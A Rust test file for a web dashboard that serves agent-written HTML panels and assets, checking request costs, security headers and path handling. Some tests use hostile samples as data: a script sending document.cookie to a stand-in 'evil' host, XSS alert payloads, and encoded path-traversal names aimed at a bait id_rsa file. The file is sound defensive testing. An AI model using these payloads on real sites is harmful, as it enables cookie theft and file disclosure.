11761            serde_json::to_vec(&record).unwrap(),
11762        )
11763        .unwrap();
11764        std::fs::remove_dir_all(&repo).unwrap();
11765        let url = format!("/api/runs/{}/seat-evidence", state.id);
11766        let list = fx.get(&url).await;
11767        assert_eq!(list.status, 200, "{}", list.body);
11768        assert_eq!(list.json()[&head], "review-1");
11769        let patch = fx.get(&format!("{url}/{head}")).await;
11770        assert_eq!(patch.status, 200, "{}", patch.body);
11771        assert!(patch.body.contains("+archived review"));
11772        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11773        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11774        assert_eq!(fx.get(&url).await.status, 404);
11775        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11776    }
11777
11778    fn request_counts(res: &Res) -> (usize, usize) {
11779        assert_eq!(res.status, 200, "{}", res.body);
11780        (
11781            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11782            res.header("x-test-git").unwrap().parse().unwrap(),
11783        )
11784    }
11785
11786    #[tokio::test]
11787    async fn list_request_cost_is_independent_of_record_count() {
11788        let (_tmp, repos, fx) = performance_fixture().await;
11789        let mut previous = None;
11790        for n in [4, 60] {
11791            seed_performance(&fx, &repos, n, n, n);
11792            let mut costs = Vec::new();
11793            for (path, discoveries) in [
11794                ("/api/questions", 1),
11795                ("/api/talks", 0),
11796                ("/api/health", 0),
11797                ("/api/stats", 1),
11798            ] {
11799                // Equal cold extraction caches at both scales; this also
11800                // bounds first-request cost instead of only warmed requests.
11801                for repo in &repos {
11802                    let cache = repo.join(".git/magi/config");
11803                    if cache.exists() {
11804                        std::fs::remove_dir_all(cache).unwrap();
11805                    }
11806                }
11807                let cost = request_counts(&fx.get(path).await);
11808                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11809                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11810                assert!(
11811                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11812                    "{path}: {cost:?}"
11813                );
11814                costs.push(cost);
11815            }
11816            if let Some(previous) = previous {
11817                assert_eq!(costs, previous);
11818            }
11819            previous = Some(costs);
11820        }
11821        // runs reads shared row inputs and probes process liveness; queue
11822        // builds one blocker inventory; notifications reads its own store.
11823        // None discovers configuration or spawns git per item.
11824    }
11825
11826    /// The same handler path without transport, so the deterministic cause
11827    /// can also be checked in environments that prohibit binding sockets.
11828    #[tokio::test]
11829    async fn list_handler_cost_without_transport() {
11830        let (_tmp, repos) = performance_repositories().await;
11831        let fx = Fixture {
11832            home: TempDir::new().unwrap(),
11833            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11834        };
11835        let ui = Arc::new(
11836            Ui::new(
11837                fx.queue(),
11838                fx.questions(),
11839                fx.talks(),
11840                fx.runs(),
11841                fx.home.path().to_path_buf(),
11842                repos[0].clone(),
11843            )
11844            .with_worktrees_root(fx.home.path().join("wt")),
11845        );
11846        let mut previous = None;
11847        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11848            seed_performance(&fx, &repos, n, runs, items);
11849            let mut costs = Vec::new();
11850            for endpoint in ["questions", "talks", "health", "stats"] {
11851                for repo in &repos {
11852                    let cache = repo.join(".git/magi/config");
11853                    if cache.exists() {
11854                        std::fs::remove_dir_all(cache).unwrap();
11855                    }
11856                }
11857                let (_, cost) = request_cost::measure(async {
11858                    match endpoint {
11859                        "questions" => {
11860                            let _ = questions_list(State(ui.clone())).await.unwrap();
11861                        }
11862                        "talks" => {
11863                            let _ = talks_list(
11864                                State(ui.clone()),
11865                                Query(ListQuery {
11866                                    limit: None,
11867                                    ids: None,
11868                                }),
11869                                header::HeaderMap::new(),
11870                            )
11871                            .await
11872                            .unwrap();
11873                        }
11874                        "health" => {
11875                            let _ = health(State(ui.clone())).await.unwrap();
11876                        }
11877                        _ => {
11878                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11879                                .await
11880                                .unwrap();
11881                        }
11882                    }
11883                })
11884                .await;
11885                eprintln!("{endpoint} handler N={n}: {cost:?}");
11886                assert_eq!(
11887                    cost.0,
11888                    if matches!(endpoint, "talks" | "health") {
11889                        0
11890                    } else {
11891                        1
11892                    },
11893                    "{endpoint}"
11894                );
11895                assert!(
11896                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11897                    "{endpoint}: {cost:?}"
11898                );
11899                costs.push(cost);
11900            }
11901            if let Some(previous) = previous {
11902                assert_eq!(costs, previous);
11903            }
11904            previous = Some(costs);
11905        }
11906    }
11907
11908    #[tokio::test]
11909    async fn list_request_cost_scopes_do_not_mix() {
11910        let (_tmp, repos, fx) = performance_fixture().await;
11911        seed_performance(&fx, &repos, 10, 0, 10);
11912        let (questions, talks, notices) = tokio::join!(
11913            fx.get("/api/questions"),
11914            fx.get("/api/talks"),
11915            fx.get("/api/notifications")
11916        );
11917        assert_eq!(request_counts(&questions).0, 1);
11918        // Cached summaries perform no config discovery or git work, even
11919        // alongside the questions request that still discovers config.
11920        assert_eq!(request_counts(&talks), (0, 0));
11921        assert_eq!(request_counts(&notices), (0, 0));
11922    }
11923
11924    #[tokio::test]
11925    async fn list_endpoints_large_home_responses() {
11926        check_large_home_endpoints(false).await;
11927    }
11928
11929    #[tokio::test]
11930    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11931    async fn list_endpoints_large_home_ceiling() {
11932        check_large_home_endpoints(true).await;
11933    }
11934
11935    async fn check_large_home_endpoints(timed: bool) {
11936        let (_tmp, repos, fx) = performance_fixture().await;
11937        seed_performance(&fx, &repos, 200, 300, 400);
11938        let mut failures = Vec::new();
11939        // app.js boot/change loads plus the initial dashboard, settings and
11940        // repo picker. SSE is a persistent stream, not a bounded GET.
11941        for path in [
11942            "/",
11943            "/app.js",
11944            "/app.css",
11945            "/api/questions",
11946            "/api/runs?limit=300",
11947            "/api/queue",
11948            "/api/talks",
11949            "/api/notifications",
11950            "/api/health",
11951            "/api/stats",
11952            "/api/loop",
11953            "/api/settings",
11954            "/api/repos",
11955        ] {
11956            let start = std::time::Instant::now();
11957            let result = if timed {
11958                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11959            } else {
11960                Ok(fx.get(path).await)
11961            };
11962            let elapsed = start.elapsed();
11963            eprintln!("{path}: {elapsed:?}");
11964            match result {
11965                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11966                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11967                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11968            }
11969        }
11970        assert!(failures.is_empty(), "{}", failures.join("\n"));
11971    }
11972
11973    struct Res {
11974        status: u16,
11975        headers: String,
11976        /// The header block with its original casing, for the assertions that
11977        /// compare a header *value* rather than looking for a name. Lowercasing
11978        /// a CSP would hide a directive spelled with a capital letter, and the
11979        /// whole point of that test is that the string is exactly right.
11980        head: String,
11981        body: String,
11982        /// The body before any UTF-8 handling, for the routes that serve
11983        /// something other than text. A panel asset is a PNG as often as not,
11984        /// and `from_utf8_lossy` would silently replace half of it.
11985        bytes: Vec<u8>,
11986    }
11987
11988    impl Res {
11989        fn json(&self) -> Value {
11990            serde_json::from_str(&self.body)
11991                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11992        }
11993
11994        /// One header's value verbatim, or `None` when it was not sent.
11995        fn header(&self, name: &str) -> Option<&str> {
11996            self.head.lines().find_map(|line| {
11997                let (key, value) = line.split_once(':')?;
11998                key.trim()
11999                    .eq_ignore_ascii_case(name)
12000                    .then(|| value.trim_start().trim_end_matches('\r'))
12001            })
12002        }
12003    }
12004
12005    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
12006    /// be read to end-of-stream without parsing framing.
12007    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12008        request_with(addr, method, path, body, &[]).await
12009    }
12010
12011    /// As [`request`], with extra request headers - conditional GETs need
12012    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
12013    /// worse than one that sets none.
12014    async fn request_with(
12015        addr: SocketAddr,
12016        method: &str,
12017        path: &str,
12018        body: Option<&str>,
12019        extra: &[(&str, &str)],
12020    ) -> Res {
12021        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12022        for (name, value) in extra {
12023            head.push_str(&format!("{name}: {value}\r\n"));
12024        }
12025        if let Some(body) = body {
12026            head.push_str("Content-Type: application/json\r\n");
12027            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12028        }
12029        head.push_str("\r\n");
12030        if let Some(body) = body {
12031            head.push_str(body);
12032        }
12033        let mut socket = tokio::net::TcpStream::connect(addr)
12034            .await
12035            .expect("connect to the test server");
12036        socket
12037            .write_all(head.as_bytes())
12038            .await
12039            .expect("write request");
12040        let mut raw = Vec::new();
12041        socket.read_to_end(&mut raw).await.expect("read response");
12042        // Split on the raw bytes rather than on a lossy string, so a binary
12043        // body survives to be compared byte for byte.
12044        let split = raw
12045            .windows(4)
12046            .position(|w| w == b"\r\n\r\n")
12047            .expect("a header block");
12048        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12049        let bytes = raw[split + 4..].to_vec();
12050        let status = head
12051            .lines()
12052            .next()
12053            .and_then(|line| line.split_whitespace().nth(1))
12054            .and_then(|code| code.parse().ok())
12055            .expect("a status line");
12056        Res {
12057            status,
12058            headers: head.to_lowercase(),
12059            head,
12060            body: String::from_utf8_lossy(&bytes).into_owned(),
12061            bytes,
12062        }
12063    }
12064
12065    /// A `POST` carrying a raw binary body and its own headers, for the
12066    /// attachment upload route - `request_with` only ever sends
12067    /// `Content-Type: application/json`, which is wrong for an image and
12068    /// would corrupt anything not valid UTF-8 by round-tripping it through
12069    /// `&str` first.
12070    async fn request_bytes(
12071        addr: SocketAddr,
12072        path: &str,
12073        headers: &[(&str, &str)],
12074        body: &[u8],
12075    ) -> Res {
12076        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12077        for (name, value) in headers {
12078            head.push_str(&format!("{name}: {value}\r\n"));
12079        }
12080        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12081        let mut socket = tokio::net::TcpStream::connect(addr)
12082            .await
12083            .expect("connect to the test server");
12084        socket
12085            .write_all(head.as_bytes())
12086            .await
12087            .expect("write request head");
12088        socket.write_all(body).await.expect("write request body");
12089        let mut raw = Vec::new();
12090        socket.read_to_end(&mut raw).await.expect("read response");
12091        let split = raw
12092            .windows(4)
12093            .position(|w| w == b"\r\n\r\n")
12094            .expect("a header block");
12095        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12096        let bytes = raw[split + 4..].to_vec();
12097        let status = head
12098            .lines()
12099            .next()
12100            .and_then(|line| line.split_whitespace().nth(1))
12101            .and_then(|code| code.parse().ok())
12102            .expect("a status line");
12103        Res {
12104            status,
12105            headers: head.to_lowercase(),
12106            head,
12107            body: String::from_utf8_lossy(&bytes).into_owned(),
12108            bytes,
12109        }
12110    }
12111
12112    /// A run on disk, without touching the process-global magi home.
12113    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12114        let mut state = RunState::new(
12115            PathBuf::from("/repo/magi"),
12116            "main".to_owned(),
12117            "0123456789abcdef".to_owned(),
12118            "Add a web UI\n\nMobile first.".to_owned(),
12119            Config::default(),
12120        );
12121        state.id = id.to_owned();
12122        state.status = status;
12123        let dir = runs.join(id);
12124        std::fs::create_dir_all(&dir).expect("run dir");
12125        std::fs::write(
12126            dir.join("run.json"),
12127            serde_json::to_string_pretty(&state).expect("serialize run"),
12128        )
12129        .expect("write run.json");
12130    }
12131
12132    /// Same as [`write_run`], but against a named repository rather than the
12133    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12134    /// spread across more than one.
12135    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12136        let mut state = RunState::new(
12137            PathBuf::from(repo),
12138            "main".to_owned(),
12139            "0123456789abcdef".to_owned(),
12140            "task".to_owned(),
12141            Config::default(),
12142        );
12143        state.id = id.to_owned();
12144        state.status = status;
12145        let dir = runs.join(id);
12146        std::fs::create_dir_all(&dir).expect("run dir");
12147        std::fs::write(
12148            dir.join("run.json"),
12149            serde_json::to_string_pretty(&state).expect("serialize run"),
12150        )
12151        .expect("write run.json");
12152    }
12153
12154    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12155        let body = serde_json::json!({
12156            "schema": 1,
12157            "pid": 4242,
12158            "started_at": Timestamp::now().to_string(),
12159            "updated_at": updated_at.to_string(),
12160            "idle": false,
12161            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12162            "completed": 7,
12163            "polls": 143,
12164        });
12165        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12166    }
12167
12168    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12169    ///
12170    /// No test in this file may start the real loop - see [`Ui::launch`] for
12171    /// why - so this stands in for the only thing the routes need a loop to
12172    /// do: keep running until `Stop` is set, then return. A real
12173    /// `serve_until` here would resolve its queue and its status file through
12174    /// the process-global magi home, claim whatever it found in the
12175    /// operator's live backlog, overwrite the status file of the `magi serve`
12176    /// that owns it, and spend real agent quota on a real competition.
12177    fn launch_idle(
12178        _opts: daemon::Opts,
12179        stop: daemon::Stop,
12180    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12181        Box::pin(async move {
12182            while !stop.stopped() {
12183                tokio::time::sleep(Duration::from_millis(2)).await;
12184            }
12185            Ok(())
12186        })
12187    }
12188
12189    /// A loop that fails on the way up, the way one whose home has gone
12190    /// read-only does.
12191    fn launch_broken(
12192        _opts: daemon::Opts,
12193        _stop: daemon::Stop,
12194    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12195        // The stand-in dies instantly, so a restarted one can record its own
12196        // failure before the start's response is read. The second attempt
12197        // therefore fails with a different message, to tell a stale error
12198        // from a fresh one.
12199        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12200        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12201        Box::pin(async move {
12202            Err(anyhow::anyhow!(if first {
12203                "publish the daemon status file: read-only file system"
12204            } else {
12205                "the restarted stand-in failed as well"
12206            }))
12207        })
12208    }
12209
12210    /// The loop view once `want` accepts it.
12211    ///
12212    /// Polled rather than asserted straight after the POST because stopping
12213    /// is deliberately not instant - that is the contract - and rather than
12214    /// slept through because a fixed wait is either flaky or slow.
12215    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12216    /// finite, so a genuine hang fails the test instead of hanging the
12217    /// suite.
12218    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12219        for _ in 0..SETTLE_STEPS {
12220            let view = fx.get("/api/loop").await.json();
12221            if want(&view) {
12222                return view;
12223            }
12224            tokio::time::sleep(Duration::from_millis(10)).await;
12225        }
12226        panic!(
12227            "the loop never settled: {}",
12228            fx.get("/api/loop").await.json()
12229        );
12230    }
12231
12232    /// File an open question directly in the store the server reads.
12233    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12234        let store = fx.questions();
12235        let mut q = Question::new(
12236            "20260902-000000-beef".to_owned(),
12237            "implement".to_owned(),
12238            "impl-A".to_owned(),
12239            summary.to_owned(),
12240            "because it matters".to_owned(),
12241            choices.iter().map(|c| (*c).to_owned()).collect(),
12242        );
12243        store.put(&mut q).expect("put question");
12244        q.id
12245    }
12246
12247    /// A question with a panel the server can serve, plus the named assets.
12248    ///
12249    /// Written through `Questions::put_panel` rather than by laying out the
12250    /// directory here, so these tests exercise the same on-disk shape the
12251    /// agents produce and cannot pass against a layout only the tests know.
12252    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12253        let store = fx.questions();
12254        let mut q = Question::new(
12255            "20260902-000000-beef".to_owned(),
12256            "land".to_owned(),
12257            "fix".to_owned(),
12258            "Merge this?".to_owned(),
12259            "the diff is in the panel".to_owned(),
12260            vec!["merge".to_owned(), "hold".to_owned()],
12261        );
12262        // Staged outside the questions root, because `put_panel` copies from
12263        // wherever the agent left its files.
12264        let staging = fx.home.path().join("staging");
12265        std::fs::create_dir_all(&staging).expect("staging dir");
12266        let sources: Vec<PathBuf> = assets
12267            .iter()
12268            .map(|(name, bytes)| {
12269                let path = staging.join(name);
12270                std::fs::write(&path, bytes).expect("write staged asset");
12271                path
12272            })
12273            .collect();
12274        store
12275            .put_panel(&mut q, html, &sources)
12276            .expect("write the panel");
12277        store.put(&mut q).expect("put question");
12278        q.id
12279    }
12280
12281    /// A talk on disk, without talking to a model.
12282    ///
12283    /// Written as JSON straight into the store the server reads, because the
12284    /// only constructor `talk::begin` offers takes no turn but still requires
12285    /// a real caller-visible flow. The one thing this cannot make up is the
12286    /// seat, so it is built with the real `SeatState::new` and serialized -
12287    /// the alternative, hand-writing that object, would make these tests fail
12288    /// the day the seat gains a field.
12289    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12290        seed_talk_at(&fx.talks(), id, status)
12291    }
12292
12293    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12294        std::fs::create_dir_all(store.root()).expect("talks dir");
12295        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12296            .expect("serialize a seat");
12297        let body = serde_json::json!({
12298            "schema": 1,
12299            "id": id,
12300            "repo": "/repo/magi",
12301            "agent": "mock",
12302            "status": status,
12303            "turns": [],
12304            "created_at": Timestamp::now().to_string(),
12305            "updated_at": Timestamp::now().to_string(),
12306            "seat": seat,
12307        });
12308        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12309        store.get(id).expect("the seeded talk has to be readable");
12310        id.to_owned()
12311    }
12312
12313    #[tokio::test]
12314    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12315        let fx = Fixture::start().await;
12316        let id = panel(
12317            &fx,
12318            "<h1>Merge?</h1><img src=\"diff.svg\">",
12319            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12320        );
12321
12322        for path in [
12323            format!("/api/questions/{id}/panel"),
12324            format!("/api/questions/{id}/asset/diff.svg"),
12325        ] {
12326            let res = fx.get(&path).await;
12327            assert_eq!(res.status, 200, "{path}: {}", res.body);
12328            // The whole string, not a substring. A weakened directive - an
12329            // `img-src *` that lets a panel beacon out to a remote host, a
12330            // `script-src` anything, a missing `form-action` that lets it post
12331            // the owner's decision to a third party - has to fail here, and a
12332            // `contains` assertion would let every one of those through.
12333            assert_eq!(
12334                res.header("content-security-policy"),
12335                Some(
12336                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12337                     font-src data:; base-uri 'none'; form-action 'none'; \
12338                     frame-ancestors 'self'"
12339                ),
12340                "{path} is the only thing between a hostile panel and the tailnet"
12341            );
12342            assert_eq!(
12343                res.header("x-content-type-options"),
12344                Some("nosniff"),
12345                "{path}: a browser must not re-decide the type we sent"
12346            );
12347            assert_eq!(
12348                res.header("referrer-policy"),
12349                Some("no-referrer"),
12350                "{path}: a panel must not leak the question id off the machine"
12351            );
12352
12353            // The front end mounts the frame only after a `HEAD` says the
12354            // panel is there, so `HEAD` has to answer with the same status and
12355            // the same policy as `GET` - a preflight that came back without
12356            // the CSP would mean a frame mounted on an unverified promise.
12357            let pre = fx.head(&path).await;
12358            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12359            assert_eq!(
12360                pre.header("content-security-policy"),
12361                res.header("content-security-policy"),
12362                "{path}: the preflight carries the same policy"
12363            );
12364            assert_eq!(
12365                pre.header("content-type"),
12366                res.header("content-type"),
12367                "{path}: the preflight carries the same type"
12368            );
12369        }
12370    }
12371
12372    #[tokio::test]
12373    async fn a_panel_reaches_the_browser_byte_for_byte() {
12374        let fx = Fixture::start().await;
12375        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12376        // tag, an entity, and a multi-byte character. The sandbox is what makes
12377        // this safe, so nothing here may be rewritten on the way out - a
12378        // rewritten diff is a diff the owner cannot trust.
12379        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12380        let id = panel(&fx, html, &[]);
12381
12382        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12383
12384        assert_eq!(res.status, 200);
12385        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12386        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12387        assert_eq!(
12388            res.header("content-disposition"),
12389            None,
12390            "the panel itself is rendered in the frame, not downloaded"
12391        );
12392    }
12393
12394    #[tokio::test]
12395    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12396        let fx = Fixture::start().await;
12397        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12398        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12399        let id = panel(
12400            &fx,
12401            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12402            &[("diff.svg", svg), ("shot.png", png)],
12403        );
12404
12405        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12406        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12407
12408        assert_eq!(as_svg.status, 200);
12409        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12410        // An SVG is XML that may carry script. Inside the panel it is an
12411        // `<img src>` and the script cannot run; opened at the top level it
12412        // would be a document on magi's own origin, so the browser is told to
12413        // download it instead of rendering it.
12414        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12415
12416        assert_eq!(as_png.status, 200);
12417        assert_eq!(as_png.header("content-type"), Some("image/png"));
12418        assert_eq!(
12419            as_png.header("content-disposition"),
12420            None,
12421            "a raster image has no execution surface, so tapping it still shows it"
12422        );
12423        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12424    }
12425
12426    #[tokio::test]
12427    async fn an_html_asset_is_never_served_as_html() {
12428        let fx = Fixture::start().await;
12429        let id = panel(
12430            &fx,
12431            "<p>see the notes</p>",
12432            &[
12433                (
12434                    "notes.html",
12435                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12436                ),
12437                ("hook.js", b"fetch('http://evil/')"),
12438                ("data.json", b"{}"),
12439                ("HEADLINE.TXT", b"plain"),
12440            ],
12441        );
12442
12443        for name in ["notes.html", "hook.js", "data.json"] {
12444            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12445            assert_eq!(res.status, 200, "{name}: {}", res.body);
12446            // Serving this as text/html would be a way to reach agent markup
12447            // at the top level of the operator's browser, outside the frame's
12448            // sandbox and outside its CSP - which is the whole thing the panel
12449            // design exists to prevent. Unlisted types are downloads.
12450            assert_eq!(
12451                res.header("content-type"),
12452                Some("application/octet-stream"),
12453                "{name} must not be a type the browser will execute or render"
12454            );
12455        }
12456        // The whitelist is matched case-insensitively, so an agent shouting the
12457        // extension still gets a readable file rather than a download.
12458        let txt = fx
12459            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12460            .await;
12461        assert_eq!(
12462            txt.header("content-type"),
12463            Some("text/plain; charset=utf-8")
12464        );
12465    }
12466
12467    #[tokio::test]
12468    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12469        let fx = Fixture::start().await;
12470        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12471        // Something outside the panel directory that a traversal would reach if
12472        // one got through, so a passing test is not merely "the file was
12473        // missing anyway".
12474        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12475
12476        // Decoded before this server's handler sees them: axum percent-decodes
12477        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12478        // string with a NUL in it. All three look like ordinary single-segment
12479        // filenames to the router, so the router passes them through and
12480        // `valid_asset_name` is what refuses them - for the literal `..`, and
12481        // for `/`, `\` and NUL not being in the permitted character set.
12482        for encoded in [
12483            "%2e%2e%2fid_rsa",
12484            "..%2fid_rsa",
12485            "..%5cid_rsa",
12486            "%2e%2e%5cid_rsa",
12487            "diff%00.svg",
12488            "..",
12489            ".hidden",
12490            "%2e%2e%2f%2e%2e%2fid_rsa",
12491        ] {
12492            let res = fx
12493                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12494                .await;
12495            assert_eq!(
12496                res.status, 400,
12497                "`{encoded}` has to be refused by name, not looked up: {}",
12498                res.body
12499            );
12500            assert!(res.json()["error"].is_string(), "{}", res.body);
12501        }
12502
12503        // Not decoded, and never this handler's problem: a real slash makes the
12504        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12505        // so axum's router has no route to match and answers before any code
12506        // here runs. Asserted so that a future route with a wildcard segment
12507        // cannot quietly open this door.
12508        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12509            let res = fx
12510                .get(&format!("/api/questions/{id}/asset/{literal}"))
12511                .await;
12512            assert_eq!(
12513                res.status, 404,
12514                "`{literal}` must not match the asset route at all: {}",
12515                res.body
12516            );
12517        }
12518    }
12519
12520    #[tokio::test]
12521    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12522        let fx = Fixture::start().await;
12523        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12524        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12525
12526        // A question nobody wrote a panel for. The client preflights with HEAD
12527        // and cannot see inside a sandboxed frame, so this must be a status and
12528        // not an empty page.
12529        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12530        assert_eq!(none.status, 404, "{}", none.body);
12531        assert!(none.json()["error"].is_string(), "{}", none.body);
12532        assert_eq!(
12533            fx.head(&format!("/api/questions/{plain}/panel"))
12534                .await
12535                .status,
12536            404,
12537            "the preflight is the only way the client can learn this"
12538        );
12539
12540        // A name that is perfectly legal and simply is not there.
12541        let missing = fx
12542            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12543            .await;
12544        assert_eq!(missing.status, 404, "{}", missing.body);
12545        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12546
12547        // A question that does not exist at all, on both routes.
12548        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12549        assert_eq!(
12550            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12551            404
12552        );
12553    }
12554
12555    #[tokio::test]
12556    async fn a_run_with_an_open_question_reads_as_waiting() {
12557        let fx = Fixture::start().await;
12558        let run = "20260902-000000-beef".to_owned();
12559        write_run(&fx.runs(), &run, RunStatus::Implementing);
12560
12561        let before = fx.get("/api/runs").await.json();
12562        assert_eq!(before[0]["waiting"], false, "{before}");
12563
12564        let store = fx.questions();
12565        let mut q = Question::new(
12566            run.clone(),
12567            "implement".to_owned(),
12568            "impl-A".to_owned(),
12569            "Which backend?".to_owned(),
12570            String::new(),
12571            vec!["SQLite".to_owned()],
12572        );
12573        store.put(&mut q).expect("put");
12574
12575        let during = fx.get("/api/runs").await.json();
12576        assert_eq!(during[0]["waiting"], true, "{during}");
12577
12578        // Answered: the run is moving again, and the flag has to follow without
12579        // anything having rewritten run.json.
12580        q.answer(Answer::Choice("SQLite".to_owned()))
12581            .expect("answer");
12582        store.put(&mut q).expect("put");
12583        let after = fx.get("/api/runs").await.json();
12584        assert_eq!(after[0]["waiting"], false, "{after}");
12585    }
12586
12587    #[tokio::test]
12588    async fn an_open_question_is_listed_and_counted_by_health() {
12589        let fx = Fixture::start().await;
12590        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12591
12592        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12593        let listed = fx.get("/api/questions").await.json();
12594        assert_eq!(listed.as_array().expect("array").len(), 1);
12595        assert_eq!(listed[0]["id"], id);
12596        assert_eq!(listed[0]["status"], "open");
12597        assert_eq!(listed[0]["choices"][1], "Redis");
12598        // The count is what makes the phone's indicator honest: it is the one
12599        // number meaning nothing will move until a human acts.
12600        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12601    }
12602
12603    fn obsolete_approval_state() -> RunState {
12604        let mut state = crate::land::tests::repair_state(true, true);
12605        state.pr = Some(crate::run::PrRecord {
12606            url: "https://github.com/example/repo/pull/42".into(),
12607            number: 42,
12608            state: "open".into(),
12609            checks: "green".into(),
12610            round: 1,
12611            rounds: 4,
12612            red_at_merge: Vec::new(),
12613        });
12614        state
12615    }
12616
12617    #[tokio::test]
12618    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12619        for owner in ["missing", "current", "completed", "later"] {
12620            let fx = Fixture {
12621                home: TempDir::new().unwrap(),
12622                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12623            };
12624            let mut state = obsolete_approval_state();
12625            state.status = RunStatus::Landing;
12626            state.parked = true;
12627            state.driver_exited = true;
12628            let mut q = Question::new(
12629                state.id.clone(),
12630                crate::land::APPROVAL_NODE.into(),
12631                "land".into(),
12632                "Old approval".into(),
12633                "Original evidence".into(),
12634                vec!["merge".into(), "hold".into()],
12635            );
12636            state.land_approval = Some(crate::run::LandApproval {
12637                question: q.id.clone(),
12638                head: "head".into(),
12639            });
12640            state.save_under(fx.home.path()).unwrap();
12641            let stale = state.clone();
12642            fx.questions().put(&mut q).unwrap();
12643            let mut task = Task::new(
12644                "Owner".into(),
12645                "Original instruction".into(),
12646                state.repo.clone(),
12647                Source::Human,
12648            );
12649            task.runs.push(state.id.clone());
12650            task.status = if owner == "completed" {
12651                TaskStatus::Done
12652            } else {
12653                TaskStatus::Parked
12654            };
12655            if owner == "later" {
12656                task.runs.push("later-run".into());
12657            }
